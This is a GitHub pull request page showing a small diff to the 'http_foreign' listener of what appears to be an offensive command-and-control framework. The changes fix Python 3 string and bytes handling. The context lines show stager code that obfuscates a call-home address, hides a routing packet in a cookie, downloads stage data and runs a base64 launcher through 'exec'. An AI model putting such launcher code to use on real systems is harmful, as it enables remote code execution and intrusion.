Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixes for http_foreign listener #283

Merged
merged 1 commit into from
Aug 16, 2020
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 5 additions & 3 deletions lib/listeners/http_foreign.py
Original file line number Diff line number Diff line change
Expand Up @@ -232,7 +232,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket.decode('UTF-8'))

stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"
stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
Expand Down Expand Up @@ -281,7 +281,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8')

# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
Expand Down Expand Up @@ -330,7 +330,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
launcherBase += "exec(''.join(out))"

if encode:
launchEncoded = base64.b64encode(launcherBase)
launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8')
if isinstance(launchEncoded, bytes):
launchEncoded = launchEncoded.decode('UTF-8')
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
Expand Down